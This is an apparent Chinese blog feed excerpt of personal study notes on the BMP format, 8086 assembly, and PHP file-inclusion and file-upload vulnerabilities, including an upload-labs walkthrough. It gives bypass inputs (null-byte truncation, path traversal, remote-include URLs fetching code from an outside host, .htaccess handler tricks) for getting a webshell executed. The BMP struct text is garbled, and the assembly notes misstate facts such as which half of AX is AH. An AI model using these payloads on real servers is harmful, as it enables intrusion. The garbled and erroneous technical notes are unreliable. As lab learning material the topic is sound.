title="bmp文件结构解析"></a>bmp文件结构解析</h2><p>1.<br>typedef struCt tagBITMAPFIlEHEADER</p><p>{</p><p>WORD bftype；     //BM</p><p>DWORD bfsiZe：    //位图文件大小</p><p>WORD bfReservedl；  //必须为0</p><p>WORD bgReserved2：   //必修为0</p><p>DWORD bfoffBits： 图像数据在  文件内的起始地址</p><p>}BITMAPFILEHEADER；</p><p>2.<br>BITMAPINFOHEADER数据结构用于说明位图的大小，其定义为：</p><p>type struct tagBITMAPINFOHEADER</p><p>{ </p><p>DWORD biSize：   //结构BITMAPINFOHEADER所占用的存储容量，固定值为40</p><p>DWORD biWldth；  //给出该BMP文件所描述位图的宽度与高度</p><p>DWORD biHeight； //给出该BMP文件所描述位图的宽度与高度</p><p>WORD biPlanes： //它代表目标设备的平面数必须为1。</p><p>WORD biBitCount：  //它确定每个像素所需要的位数。 当图像为单色时，该字段的取值为1；当图像为16色时，该字段的取值为4；当图像为256 色时，该字段的取值为8；当图像为真彩色时，该字段的取值为24。</p><p>DWORD biCOmpression；//它代表bottom—up类型位图的 压缩类型</p><p>DWORD biSiZelmage； //给出该BMP 内图像数据占用的空间大小</p><p>DWORD biXPelsPerMeter：//它们分别以每米像素数为单位，给出位图目的设备水平以及垂直方向的 分辨率</p><p>DWORD biYPelsPerMeter：//它们分别以每米像素数为单位，给出位图目的设备水平以及垂直方向的 分辨率</p><p>DWORD biClrUsed；       //给出位图实际使用的颜色表中的 颜色变址数</p><p>DWORD biClrlmportant；//它给出位图显示过程中 重要颜色的变址数。</p><p>}BITMAPINFOHEADER；</p><p>3.调色板数据 </p><p>typedef struct tagRGBQUAD</p><p>{</p><p>BYTE rgbBlue；</p><p>BYTE rgbGreen；</p><p>BYTE rgbRed； </p><p>BYTE rgbReserved；       //它不代表任何意 义，必须取固定值00</p><p>}RGBQUAD；</p><p>3..  bmp结构还提供了另外一个结构类型   ，看他的成员定义就知道了<br>tyPedef stmCt tagBITMAPINFO </p><p>{</p><p>BITMAPINFOHEADER bmiHeader：   </p><p>RGBQUAD bmiC010ur[1]；</p><p>}BITMAPINFO；</p><p>4.位图数据<br>   注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;客户端界面的设计和编写&quot;&gt;&lt;a href=&quot;#客户端界面的设计和编写&quot; class=&quot;headerlink&quot; title=&quot;客户端界面的设计和编写&quot;&gt;&lt;/a&gt;客户端界面的设计和编写&lt;/h1&gt;&lt;h2 id=&quot;1-1-创建窗口&quot;&gt;&lt;a href=&quot;#1-1-创建窗口&quot;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>汇编学习</title>
    <link href="http://example.com/2022/10/01/%E6%B1%87%E7%BC%96/"/>
    <id>http://example.com/2022/10/01/%E6%B1%87%E7%BC%96/</id>
    <published>2022-10-01T09:33:18.666Z</published>
    <updated>2021-01-30T15:50:07.822Z</updated>
    
    <content type="html"><![CDATA[<p><strong>基础</strong></p><p>-r<br>                         查看寄存器内容</p><pre><code>-r ip   :0                            将IP改为0000</code></pre><p>-t   单步执行</p><p>-d  查看内存内容（几个字节）</p><p>-e  改写偏移地址</p><p>-u  将机器码编译为汇编指令</p><p>-a  以汇编语言的形式写入程序</p><hr><p>MASA中<br>move ax  , [0]       将al的值赋值为0</p><p>move ax  , ds:[0]   将偏移地址为0的内存单元的内容放进ax中</p><p>move ax  , [bx]      将bx的内容放进ax中  </p><hr><p>dw                         定义字形数据      //数据以字为单位，而非字节</p><p>dw                         定义字形数据<br>数据以字为单位，而非字节</p><pre><code>dw定义 字 类型变量，一个字数据占2个字节单dao元，读完一个，偏移量加2db定义 字节 类型变量，一个字节数据占1个字节单元，读完一个，偏移量加1。dd定义 双字类 型变量，一个双字数据占4个字节单元，读完一个，偏移量加4。  </code></pre><hr><p>AX的    低八位是AH寄存器，     高八位是AX  寄存器</p><p>dup 3（0）定义三个字节： 0，0，0</p><p>offset  取标号的偏移地址                 // start : mov ax , offset  start     ;相当于 mov  ax , 0 </p><p>   mul    bl<br>                                                        //al与 bl 相乘结果保存至 ax   </p><p><strong>div</strong>  </p><pre><code>被除数：默认放在AX或DX和AX，如果除数为8位，被除数则为16位，默认在AX中存放；如果除数 为16位， 被除数则为32位，在DX和AX中存放，DX存放高16位，AX存放低16位。结果：如果除数为8位，则AL存储除法操作的商，AH存储除法操作的余数；如果除数为16位，则AX存储除法操作的商，DX存储除法操作的余数。</code></pre><p><strong>inc</strong>    自增 1 </p><p><strong>dec</strong>   自减 1</p><hr><p><strong>jump</strong>  跳转</p><p>jcxz     cx==0 时跳转</p><p><strong>call</strong>       </p><pre><code>sp=sp-2((ss)*16+(sp))=ipip=ip+十六位位移</code></pre><p>push  ip </p><p>jump  near  ptr  标号             </p><p>ip=ip+十六位位移</p><p>**call far ptr 标号 **</p><pre><code>push  cspush  ipjump far ptr 标号</code></pre><hr><p><strong>ret</strong></p><pre><code>pop  ip</code></pre><p><strong>retf</strong>       </p><pre><code>pop  ippop  cs     </code></pre><p>可以 call  和  ret 的配合使用 </p><hr><p>**标志寄存器 ** </p><p>ZF   （零标志位）  </p><pre><code>记录指令执行后结果是否为0结果=0，ZF=1 ； 结果!=0 ,ZF=0</code></pre><p>PF  （奇偶标志位）</p><pre><code>1的个数为偶数，PF=1 ；1的个数为奇数，PF=0 ;</code></pre><p>SF  (符号标志位)</p><pre><code>结果为负，sf=1 ;结果为正，sf=0 ;</code></pre><p>CF (进位标志位)</p><p>在无符号运算中，记录运算结果是否向更高位进位。</p><pre><code>记录进位或借位值 。</code></pre><p>OF （溢出）</p><p>在有符号运算中</p><pre><code>有溢出，of=1；无溢出，of=0；</code></pre><p><img src="https://i.loli.net/2021/01/26/75kDuEM6SFhAH4j.gif"></p><hr><p><strong>adc指令</strong></p><p>格式：adc 操作对象1 ， 操作对象2</p><p>如</p><pre><code>    adc ax , bx功能(ax)=(ax)+(bx)+cf</code></pre><hr><p><strong>sbb</strong> （借位减法指令）</p><p>指令格式：  sbb  操作对象1 ， 操作对象2 </p><p>功能   ：  对象1 = 对象1 - 对象2 -cf</p><pre><code>如sbb ax , bx (ax)=(ax)-(bx)-cf</code></pre><hr><p><strong>cmp</strong> (比较指令)</p><p>格式： cmp  对象1 ， 对象2</p><p>功能： 计算对象1 - 对象2 ，结果不保存，仅改变标志寄存器。</p><p>用于比较大小时，若有溢出，结果不一定正确。</p><hr><p><strong>检测比较结果的条件转移指令</strong></p><p><img src="https://i.loli.net/2021/01/27/dEjJfpZMbiHgU7y.jpg"></p><hr><p>df标志和传送指令</p><p>df=0 操作后 si di 递增</p><p>df=1 操作后 si di 递减</p><p>↑（用于指明传送方向）↑</p><p>格式 movsb</p><p>功能：传送字节</p><p>（1）</p><p>((es)*16+(di))=((ds))*16+(si))</p><p>(2)</p><p>如果df=0则： (si)=(si)+1 ; (di)=(di)+1</p><p>如果df=1则： (si)=(si)-1 ; (di)=(di)-1</p><p>♤</p><p>格式 movsw</p><p>功能：传送字</p><p>（1）</p><p>((es)*16+(di))=((ds))*16+(si))</p><p>(2)</p><p>如果df=0则： (si)=(si)+2 ; (di)=(di)+2</p><p>如果df=1则： (si)=(si)-2 ; (di)=(di)-2</p><hr><p>pushf : 将标志寄存器的值压栈</p><p>popf  ：从栈处弹出数据送入标志寄存器</p><hr><p>内中断</p><p>过程</p><p>（1）取得中断码N ；</p><p>（2）pushf</p><p>（3）TF=0, IF=0</p><p>（4）push cs ; push  ip </p><p>（5）(ip)=(N<em>4) , (cs)=(N</em>4)+2</p><p>最后cpu开始执行程序员编写的中断处理程序</p><hr><p>iret 指令</p><p>功能：</p><p>pop IP</p><p>pop CS</p><p>popf</p><hr><p>int</p><p>格式 int n</p><p>功能 ：</p><p>（1）取中断类型码n</p><p>（2）标志寄存器，IF=0,TF=0</p><p>（3）CS,IP入栈</p><p>（4）(ip)=(n<em>4),(cs)=(n</em>4+2)</p><hr><p>端口</p><p>读写端口指令</p><p>in  ax , 21h ;</p><p>out ax , 21h ;</p><p>逻辑移位指令</p><p>shl  :  将寄存器或内存单元的数据左移一位，将最后移出的一位写入CF中。其他用0补足。</p><p>shr  ： 与shl相反。</p><hr><p>外中断(外设引发的中断)</p><p>cpu检测到可屏蔽中断，如果IF=1.执行完当前指令后，执行中断；<br>如果    IF-0 . 不执行中断。</p><p>不可屏蔽中断过程</p><p>标志寄存器入栈，IF=0，TF=0；</p><p>cs,ip入栈；</p><p>(ip)=(8),(cs)=(OAH)</p><p>如图</p><p><img src="https://i.loli.net/2021/01/30/nDRHCjyATZwpFah.gif"></p><p>相当于</p><pre><code>for(i=1000 ; i&gt;0 ; i--)&#123;    for(j=10000 ; j&gt;0 ; j--)    &#123;    &#125;&#125;</code></pre><p><strong>seg</strong> </p><p>取标号处段地址。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;基础&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;-r&lt;br&gt;                         查看寄存器内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-r ip

   :0      
                      将IP改为0000&lt;/code</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Web学习 文件包含漏洞</title>
    <link href="http://example.com/2022/10/01/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/"/>
    <id>http://example.com/2022/10/01/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/</id>
    <published>2022-10-01T09:33:18.663Z</published>
    <updated>2022-04-08T16:50:16.318Z</updated>
    
    <content type="html"><![CDATA[<h1 id="文件包含"><a href="#文件包含" class="headerlink" title="文件包含"></a>文件包含</h1><p><img src="https://s2.loli.net/2022/03/16/KL4v71fCHs6Vyn3.png"><br><img src="https://s2.loli.net/2022/03/16/5UMa6fRHA1IETeQ.png"></p><p>1、文件包含漏洞简介<br>1、1什么是文件包含</p><pre><code>     程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数</code></pre><p>时，直接调用此文件，无需再次编写，这种调用文件的过程一般被称为文件包含。</p><p>1、2 文件包含漏洞的成因  </p><pre><code>         随着网站业务的需求，程序开发人员一般希望代码更灵活，所以将被包</code></pre><p>含的文件设置为变量，用来进行动态调用，但是正是这种灵活性通过动态变<br>量的方式引入需要包含的文件时，用户对这个变量可控而且服务端又没有做<br>合理的校验或者校验被绕过就造成了文件包含漏洞。</p><p>1、3 PHP中常见包含文件的函数</p><p>Ø include( )<br>当使用该函数包含文件时，只有代码执行到 include()函数时才将文件包含<br>进来，发生错误时之给出一个警告，继续向下执行。<br>Ø include_once( )<br>功能与Include()相同，区别在于当重复调用同一文件时，程序只调用一次<br>Ø require( )<br>require()与include()的区别在于require()执行如果发生错误，函数会输出<br>错误信息，并终止脚本的运行。<br>Ø require_once( )<br>功能与require()相同，区别在于当重复调用同一文件时，程序只调用一次。</p><p> 几乎所有的脚本语言中都提供文件包含的功能，但文件包含漏洞在 PHP 中<br>居多，而在JSP、ASP、ASP.NET程序中非常少，甚至没有包含漏洞的存在。这</p><p>与程序开发人员的水平无关，而问题在于语言设计的弊端。</p><p>2.举例说明</p><p>2.1</p><p>有1.txt文件,并且无限制</p><pre><code>&lt;?php$filename=$_GET[&#39;filename&#39;];include($filename)?&gt;</code></pre><p>直接访问127.0.0.1，只能显示1.txt的代码。</p><p><img src="https://s2.loli.net/2022/03/16/Hrg2JCAbykMcS1R.png"></p><p>但是利用文件包含漏洞，就可以运行1.txt的代码</p><p><img src="https://s2.loli.net/2022/03/16/UWeKyPVLDvZEbH8.png"></p><p>2.2 </p><p>1.txt有限制</p><pre><code>&lt;?php$filename=$_GET[&#39;filename&#39;];include ($filename.&quot; .html&quot; );?&gt;</code></pre><p>指向了文件后缀为html<br>这样1.txt就变成了 1.txt.html 这样没有这个文件，所以会执行失败</p><p>那么如何绕过</p><p>%00截断:条件: magic quotes gpc = off     php版本&lt;5.3.4</p><pre><code>http://127.0.0.1:8080/include.php?filename=1.txt%00</code></pre><p><img src="https://s2.loli.net/2022/03/17/ANehVLMsjCRYK15.png"></p><p>长度截断:条件: windows，点号需要长于256; linux长于4096</p><p>填充垃圾长度，使得.html无法被加上</p><p><img src="https://s2.loli.net/2022/03/17/za12Gc4DRge7AWM.png"></p><p>2.3跨目录包含</p><p><a href="http://1227.0.0.1:8080/include.php?filename=../../1.txt">http://1227.0.0.1:8080/include.php?filename=../../1.txt</a></p><p>3.远程包含</p><p><img src="https://s2.loli.net/2022/03/17/MQjmFY6Vlc1PDBG.png"></p><p>allow_url_include打开时支持远程包含</p><p>访问并执行远程文件</p><p><img src="https://s2.loli.net/2022/03/17/euKrLOcW6DmSYp9.png"></p><p>如果远程文件为后门代码，那么该代码会被执行并被连接</p><p>3.2有限制远程包含绕过</p><p><a href="http://127.0.0.1:8080/include.php?filename=http">http://127.0.0.1:8080/include.php?filename=http</a>: / / <a href="http://www.xiaodi8.com/readme.txt">www.xiaodi8.com/readme.txt</a></p><p><a href="http://127.0.0.1:8080/include.php?filename=http">http://127.0.0.1:8080/include.php?filename=http</a> :/ / <a href="http://www.xiaodi8.com/readme.txt%20">www.xiaodi8.com/readme.txt%20</a></p><p>http: //127.0.0.1:8080/include.php?filename=http: // <a href="http://www.xiaodi8.com/readme.txt%23">www.xiaodi8.com/readme.txt%23</a></p><p><a href="http://127.0.0.1:8080/include.php?filename=http">http://127.0.0.1:8080/include.php?filename=http</a> : / / <a href="http://www.xiaodi8.com/readme.txt">www.xiaodi8.com/readme.txt</a>?</p><p>4.利用协议</p><p><img src="https://s2.loli.net/2022/03/17/gj34CBEueso2SQN.png"><br><img src="https://s2.loli.net/2022/03/17/JiyrHRaT7t4kbqV.png"></p><p><img src="https://s2.loli.net/2022/03/17/qdJtRvQZz26bI84.png"></p><p><a href="https://www.cnblogs.com/endust/p/11804767.html">各种php伪协议的用法</a></p><p><img src="https://s2.loli.net/2022/03/17/QMfcirHUBoJqIXK.png"></p><p>5.靶场训练</p><p>无论直接访问还是利用参数访问，都执行了页面代码。也可根据页面代码发现存在文件包含漏洞</p><p><img src="https://s2.loli.net/2022/03/17/toUjdvHncDLAChk.png"><br><img src="https://s2.loli.net/2022/03/17/xUDFEfliCq15QkA.png"></p><p>利用php伪协议查看目录</p><p><img src="https://s2.loli.net/2022/03/17/DL2w8VPSEjHFz3Z.png"></p><p>利用php伪协议查看文件，查看源代码</p><p><img src="https://s2.loli.net/2022/03/17/JVjBeZEQdunqNzI.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;文件包含&quot;&gt;&lt;a href=&quot;#文件包含&quot; class=&quot;headerlink&quot; title=&quot;文件包含&quot;&gt;&lt;/a&gt;文件包含&lt;/h1&gt;&lt;p&gt;&lt;img src=&quot;https://s2.loli.net/2022/03/16/KL4v71fCHs6Vyn3.png&quot;&gt;</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Web学习 文件上传漏洞</title>
    <link href="http://example.com/2022/10/01/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/"/>
    <id>http://example.com/2022/10/01/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/</id>
    <published>2022-10-01T09:33:18.662Z</published>
    <updated>2022-04-08T16:50:17.330Z</updated>
    
    <content type="html"><![CDATA[<h1 id="文件上传漏洞"><a href="#文件上传漏洞" class="headerlink" title="文件上传漏洞"></a>文件上传漏洞</h1><p>对文件上传类型进行区分，是属于编辑器文件上传，还是属于第三方应用，还是会员中心。要确保文件上传是什么类型，就用什么类型方法对它进行后期的测试。</p><p><img src="https://s2.loli.net/2022/03/07/FkIE8U3sZcWwmSB.png"></p><p>常规类：扫描获取上传，会员中心上传，后台系统上传，各种途径上传</p><p>CMS类：已知CMS源码，搜索已知cms漏洞</p><p>编辑器类：ckeditor,fckeditor,kindeditor,xxxeditor，也是搜索相关编辑器漏洞</p><p>配合解析漏洞下的文件类型后门：可以通过解析漏洞，上传包含后门代码的图片</p><h1 id="上传方法"><a href="#上传方法" class="headerlink" title="上传方法"></a>上传方法</h1><p>方法一</p><pre><code>先直接传一个PHP，实战先传马。实战先传一个正常的图片，看看有无返回存储地址。如果能直接上传并解析，已离成功不远。</code></pre><p>方法二<br>    先传一个shell，然后进行修改。<br>    connect-Type:image/jpeg，看看是否可以进行绕过，如果不行，在上传内容添加GIF89a<br>    当然上传了还得看是否能够被解析为php，所有的上传都要考虑是否能够被解析。</p><p>方法三<br>    上传一个abc.abcd，目的只是为了查看是否为白名单还是黑名单绕过。<br>    黑名单限制一般为此文件类型不允许上传，考虑双写，大小写，空格，php2,php3,php4,php5,pht<br>    phtml,等方式<br>    我们继续上传一个/htaccess文件<br>    .htaccess文件能够设置服务器的解析文件的格式，匹配到dudu就已php的格式来解析，继而上传马<br>    如果说.htaccess不能上传，接下来上传一个.user.ini，继而上传一个马</p><p>方法四<br>    如果白名单限制上传<br>    考虑00截断上传<br>    文件包含漏洞+图片马<br>    文件包含漏洞+二次渲染+图片马</p><p> 方法五<br>    上传的东西是否被服务器很快的删除或者移除，或者说上传成功，但是无法访问，就得考虑条件竞争。<br>    以上均不行，考虑逻辑层面的思路。</p><p>涉及资源</p><p><a href="https://github.com/c0ny1/upload-labs">https://github.com/c0ny1/upload-labs</a></p><h1 id="后端黑白名单绕过"><a href="#后端黑白名单绕过" class="headerlink" title="后端黑白名单绕过"></a>后端黑白名单绕过</h1><p><img src="https://s2.loli.net/2022/03/07/aiUkwWcKQ23tbhu.png"></p><h2 id="文件上传常见验证"><a href="#文件上传常见验证" class="headerlink" title="文件上传常见验证"></a>文件上传常见验证</h2><p>后缀名（直接），类型（间接），文件头等 </p><h2 id="后缀名"><a href="#后缀名" class="headerlink" title="后缀名"></a>后缀名</h2><p>黑名单，白名单 </p><p>黑名单：</p><p>明确不允许上传的格式后缀</p><p>asp php jsp aspx cgi war 等</p><p>如果php phtml..没有定义到后名单里，可以用这格式绕过限制，依旧可以达到效果</p><h2 id="白名单"><a href="#白名单" class="headerlink" title="白名单"></a>白名单</h2><p>明确可以上传的格式后缀</p><p>jpg png zip rar gif 等 </p><p>要白名单验证要更安全</p><h2 id="文件类型：MIME-信息"><a href="#文件类型：MIME-信息" class="headerlink" title="文件类型：MIME 信息"></a>文件类型：MIME 信息</h2><p>MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，</p><p>当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式</p><p>Content-Type称之为MIME信息</p><h1 id="靶场练习"><a href="#靶场练习" class="headerlink" title="靶场练习"></a>靶场练习</h1><h2 id="upload-lab-01"><a href="#upload-lab-01" class="headerlink" title="upload-lab-01"></a>upload-lab-01</h2><p>由于采用了前端验证，所以可以通过抓包直接修改文件格式，从而绕过。</p><p><img src="https://s2.loli.net/2022/03/23/QCE41wxqontGHrL.gif"></p><h2 id="upload-lab-02"><a href="#upload-lab-02" class="headerlink" title="upload-lab-02"></a>upload-lab-02</h2><p>拦截上传shell.php的请求包，修改文件类型为：image/jpeg或者image/png或者image/gif</p><p><img src="https://s2.loli.net/2022/03/24/6Aca5fzwNdjobms.gif"><br><img src="https://s2.loli.net/2022/03/24/l5uALgperktxi4v.gif"></p><h2 id="upload-lab-03"><a href="#upload-lab-03" class="headerlink" title="upload-lab-03"></a>upload-lab-03</h2><p>采用了黑名单的过滤方式</p><pre><code>$is_upload = false;$msg = null;if (isset($_POST[&#39;submit&#39;])) &#123;    if (file_exists(UPLOAD_PATH)) &#123;        $deny_ext = array(&#39;.asp&#39;,&#39;.aspx&#39;,&#39;.php&#39;,&#39;.jsp&#39;);        $file_name = trim($_FILES[&#39;upload_file&#39;][&#39;name&#39;]);        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, &#39;.&#39;);        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace(&#39;::$DATA&#39;, &#39;&#39;, $file_ext);//去除字符串::$DATA        $file_ext = trim($file_ext); //收尾去空        if(!in_array($file_ext, $deny_ext)) &#123;            if (move_uploaded_file($_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;], UPLOAD_PATH. &#39;/&#39; . $_FILES[&#39;upload_file&#39;][&#39;name&#39;])) &#123;                 $img_path = UPLOAD_PATH .&#39;/&#39;. $_FILES[&#39;upload_file&#39;][&#39;name&#39;];                 $is_upload = true;            &#125;        &#125; else &#123;            $msg = &#39;不允许上传.asp,.aspx,.php,.jsp后缀文件！&#39;;        &#125;    &#125; else &#123;        $msg = UPLOAD_PATH . &#39;文件夹不存在,请手工创建！&#39;;    &#125;&#125;</code></pre><p>php,phps,php3,php5,pht等都有可能被解析成php文件的，当然这得取决apache的配置。先试试看，通过Burpsuite改包上传成功。</p><p><img src="https://s2.loli.net/2022/03/24/MlVKgHSwvrYZGjk.gif"></p><h2 id="upload-lab-04"><a href="#upload-lab-04" class="headerlink" title="upload-lab-04"></a>upload-lab-04</h2><p>利用 .htaccess 文件进行绕过</p><p>其内容为 AddType application/x-httpd-php .jpg </p><p>可以将jpg格式的文件作为php文件进行解析</p><p>先上传 .htaccess 文件再上传 hacker.jpg 文件</p><p><img src="https://s2.loli.net/2022/03/24/Ln3cIsklBDmi58P.gif"></p><h2 id="upload-lab-05"><a href="#upload-lab-05" class="headerlink" title="upload-lab-05"></a>upload-lab-05</h2><p>大小写绕过，window上搭载的服务器是不区分大小写的，而Linux上的服务器是区分的，所以win上搭载的服务器可以通过大小写绕过防护。</p><p><img src="https://s2.loli.net/2022/03/24/qeAldP92rawGfgJ.gif"></p><h2 id="upload-lab-06"><a href="#upload-lab-06" class="headerlink" title="upload-lab-06"></a>upload-lab-06</h2><p>还是黑名单限制，通过查看源代码，知道删除了文件名后面的., 但是并没有删除空格，所以通过上传一个后缀名再添加一个空格的文件去绕过黑名单，windoes在创建文件时会自动删掉最后的空格。</p><pre><code>$is_upload = false;$msg = null;if (isset($_POST[&#39;submit&#39;])) &#123;    if (file_exists(UPLOAD_PATH)) &#123;        $deny_ext = array(&quot;.php&quot;,&quot;.php5&quot;,&quot;.php4&quot;,&quot;.php3&quot;,&quot;.php2&quot;,&quot;.html&quot;,&quot;.htm&quot;,&quot;.phtml&quot;,&quot;.pHp&quot;,&quot;.pHp5&quot;,&quot;.pHp4&quot;,&quot;.pHp3&quot;,&quot;.pHp2&quot;,&quot;.Html&quot;,&quot;.Htm&quot;,&quot;.pHtml&quot;,&quot;.jsp&quot;,&quot;.jspa&quot;,&quot;.jspx&quot;,&quot;.jsw&quot;,&quot;.jsv&quot;,&quot;.jspf&quot;,&quot;.jtml&quot;,&quot;.jSp&quot;,&quot;.jSpx&quot;,&quot;.jSpa&quot;,&quot;.jSw&quot;,&quot;.jSv&quot;,&quot;.jSpf&quot;,&quot;.jHtml&quot;,&quot;.asp&quot;,&quot;.aspx&quot;,&quot;.asa&quot;,&quot;.asax&quot;,&quot;.ascx&quot;,&quot;.ashx&quot;,&quot;.asmx&quot;,&quot;.cer&quot;,&quot;.aSp&quot;,&quot;.aSpx&quot;,&quot;.aSa&quot;,&quot;.aSax&quot;,&quot;.aScx&quot;,&quot;.aShx&quot;,&quot;.aSmx&quot;,&quot;.cEr&quot;,&quot;.sWf&quot;,&quot;.swf&quot;,&quot;.htaccess&quot;);        $file_name = $_FILES[&#39;upload_file&#39;][&#39;name&#39;];        $file_name = deldot($file_name);//删除文件名末尾的点        $file_ext = strrchr($file_name, &#39;.&#39;);        $file_ext = strtolower($file_ext); //转换为小写        $file_ext = str_ireplace(&#39;::$DATA&#39;, &#39;&#39;, $file_ext);//去除字符串::$DATA        if (!in_array($file_ext, $deny_ext)) &#123;            if (move_uploaded_file($_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;], UPLOAD_PATH . &#39;/&#39; . $_FILES[&#39;upload_file&#39;][&#39;name&#39;])) &#123;                $img_path = UPLOAD_PATH . &#39;/&#39; . $file_name;                $is_upload = true;            &#125;        &#125; else &#123;            $msg = &#39;此文件不允许上传&#39;;        &#125;    &#125; else &#123;        $msg = UPLOAD_PATH . &#39;文件夹不存在,请手工创建！&#39;;    &#125;&#125;</code></pre><p><img src="https://s2.loli.net/2022/03/23/dAVljKaMC1uJ7xH.gif"></p><h2 id="upload-lab-07"><a href="#upload-lab-07" class="headerlink" title="upload-lab-07"></a>upload-lab-07</h2><p>在第七行发现，原来是没有过滤末尾的点呀，吸取上一次的教训，直接修改后缀名在后面加.是不可以的，因为会被win自动过滤</p><p>所以还是使用抓包修改</p><p>1</p><p>$is_upload = false;<br>$msg = null;<br>if (isset($_POST[‘submit’])) {<br>    if (file_exists(UPLOAD_PATH)) {<br>        $deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);<br>        $file_name = trim($_FILES[‘upload_file’][‘name’]);<br>        $file_ext = strrchr($file_name, ‘.’);<br>        $file_ext = strtolower($file_ext); //转换为小写<br>        $file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA<br>        $file_ext = trim($file_ext); //首尾去空</p><pre><code>    if (!in_array($file_ext, $deny_ext)) &#123;        $temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];        $img_path = UPLOAD_PATH.&#39;/&#39;.$file_name;        if (move_uploaded_file($temp_file, $img_path)) &#123;            $is_upload = true;        &#125; else &#123;            $msg = &#39;上传出错！&#39;;        &#125;    &#125; else &#123;        $msg = &#39;此文件类型不允许上传！&#39;;    &#125;&#125; else &#123;    $msg = UPLOAD_PATH . &#39;文件夹不存在,请手工创建！&#39;;&#125;</code></pre><p>}</p><p>2</p><p>$is_upload = false;<br>$msg = null;<br>if (isset($_POST[‘submit’])) {<br>    if (file_exists(UPLOAD_PATH)) {<br>        $deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”php1”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”pHp1”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”);<br>        $file_name = trim($_FILES[‘upload_file’][‘name’]);<br>        $file_name = deldot($file_name);//删除文件名末尾的点<br>        $file_ext = strrchr($file_name, ‘.’);<br>        $file_ext = strtolower($file_ext); //转换为小写<br>        $file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA<br>        $file_ext = trim($file_ext); //收尾去空</p><pre><code>    if (!in_array($file_ext, $deny_ext)) &#123;        $temp_file = $_FILES[&#39;upload_file&#39;][&#39;tmp_name&#39;];        $img_path = UPLOAD_PATH.&#39;/&#39;.date(&quot;YmdHis&quot;).rand(1000,9999).$file_ext;        if (move_uploaded_file($temp_file, $img_path)) &#123;            $is_upload = true;        &#125; else &#123;            $msg = &#39;上传出错！&#39;;        &#125;    &#125; else &#123;        $msg = &#39;此文件不允许上传!&#39;;    &#125;&#125; else &#123;    $msg = UPLOAD_PATH . &#39;文件夹不存在,请手工创建！&#39;;&#125;</code></pre><p>}</p><h2 id="upload-lab-08"><a href="#upload-lab-08" class="headerlink" title="upload-lab-08"></a>upload-lab-08</h2><p>和7一样的</p><p>$file_name = deldot($file_name);//删除文件名末尾的点</p><p>少了这个过滤，</p><p>所以我们可以进行文件名加点绕过。</p><p>Windows有个特性，就是如果文件名后缀以.或者空格结尾的，系统在保存文件时会自动去除点和空格。所以可以通过在文件名后面增加一个点来绕过限制</p><h2 id="upload-lab-09"><a href="#upload-lab-09" class="headerlink" title="upload-lab-09"></a>upload-lab-09</h2><p>源码截取</p><p>if (file_exists(UPLOAD_PATH)) {<br>        $deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);<br>        $file_name = trim($_FILES[‘upload_file’][‘name’]);<br>        $file_name = deldot($file_name);//删除文件名末尾的点<br>        $file_ext = strrchr($file_name, 